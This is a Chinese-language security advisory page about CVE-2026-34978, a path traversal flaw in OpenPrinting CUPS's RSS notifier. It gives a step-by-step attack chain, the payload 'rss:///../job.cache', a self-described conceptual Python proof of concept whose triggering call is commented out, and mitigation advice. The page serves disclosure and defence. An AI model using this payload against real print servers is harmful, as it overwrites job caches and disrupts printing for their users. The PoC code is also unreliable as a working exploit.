IPBUF安全漏洞报告
English
CVE-2026-34978 CVSS 6.5 中危

CVE-2026-34978 OpenPrinting CUPS 路径遍历漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-34978
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenPrinting CUPS

相关标签

路径遍历CUPSOpenPrinting文件写入CVE-2026-34978

漏洞概述

OpenPrinting CUPS 是 Linux 和类 Unix 操作系统的开源打印系统。在 2.4.16 及之前版本中,RSS 通知程序在 notify-recipient-uri 参数中存在路径遍历漏洞(例如 rss:///../job.cache)。远程 IPP 客户端可利用此漏洞将 RSS XML 字节写入 CacheDir/rss 目录之外的任何 lp 可写位置。由于 CacheDir 默认是组可写的(通常为 root:lp,模式 0770),通知程序(以 lp 身份运行)可以通过临时文件和 rename() 替换由 root 管理的状态文件。概念验证代码显示攻击者可以用 RSS XML 覆盖 CacheDir/job.cache,导致重启 cupsd 后调度程序无法解析作业缓存,致使先前排队的作业丢失。目前尚无公开补丁可供修复。

技术细节

该漏洞源于 OpenPrinting CUPS 的 RSS 通知程序未能正确过滤 notify-recipient-uri 参数,允许使用 ../ 进行目录穿越。攻击者可以通过网络向目标 CUPS 服务器发送特制的 IPP 请求。由于 CUPS 的默认配置中,CacheDir 目录通常设置为 root:lp 组且权限为 0770,运行在 lp 用户权限下的 RSS 通知程序拥有该目录的写入权限。利用此漏洞,攻击者可以指定一个路径遍历载荷(如 rss:///../job.cache),迫使程序将 RSS XML 数据写入预定义的缓存目录之外。利用机制涉及创建临时文件并使用 rename() 原子操作覆盖关键系统文件。当 job.cache 等关键文件被无效数据覆盖后,一旦 cupsd 服务重启,调度程序将因无法解析损坏的缓存文件而失败,导致打印服务异常及作业数据丢失。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络寻找开放的 CUPS IPP 服务端口(默认 631),并识别目标运行的是易受攻击的 CUPS 版本(2.4.16 或更早)。
STEP 2
2. 发送恶意请求
攻击者向目标服务器发送特制的 IPP 请求,其中包含恶意的 notify-recipient-uri 参数,利用 ../ 路径遍历符指向 CacheDir 之外的文件(如 job.cache)。
STEP 3
3. 文件覆盖
目标服务器上的 RSS 通知程序处理该请求,利用 lp 用户的权限和默认的组写权限,通过临时文件和 rename() 操作将 RSS XML 数据写入并覆盖指定的系统文件。
STEP 4
4. 持久化影响
当 CUPS 守护进程重启或尝试重新加载配置时,由于 job.cache 等文件已被无效的 XML 数据破坏,服务解析失败,导致打印任务丢失或服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34978 # This script demonstrates sending a malicious IPP request to trigger path traversal # Note: This is a conceptual example based on the vulnerability description. import cups def exploit_cups_path_traversal(target_server, printer_uri): try: # Connect to the CUPS server conn = cups.Connection(target_server) # The malicious payload utilizing path traversal # This attempts to write to job.cache instead of the rss directory malicious_uri = "rss:///../job.cache" # Set printer options or create a printer with the malicious notify-recipient-uri # In a real scenario, this might be part of a print-job or set-printer-attributes request printer_name = "VulnerablePrinter" print(f"[*] Attempting to exploit {target_server}...") print(f"[*] Malicious URI: {malicious_uri}") # Simulating setting the attribute that triggers the vulnerability # Actual exploitation requires specific IPP attribute manipulation conn.addPrinter(printer_name, device=printer_uri) # Hypothetical call to trigger the notifier # conn.setPrinterAttributes(printer_name, {"notify-recipient-uri": malicious_uri}) print("[+] Payload sent. Check if job.cache was corrupted.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "localhost:631" exploit_cups_path_traversal(target, "ipp://localhost/printers/test")

影响范围

OpenPrinting CUPS <= 2.4.16

防御指南

临时缓解措施
由于目前尚无公开补丁,建议采取临时缓解措施:在防火墙层面限制对 CUPS 服务的远程访问,特别是 IPP 端口。检查并收紧 /var/cache/cups(或自定义 CacheDir)的文件权限,确保非 root 用户无法写入关键配置和状态文件。同时,密切关注 OpenPrinting 官方发布的安全更新,并在第一时间进行升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表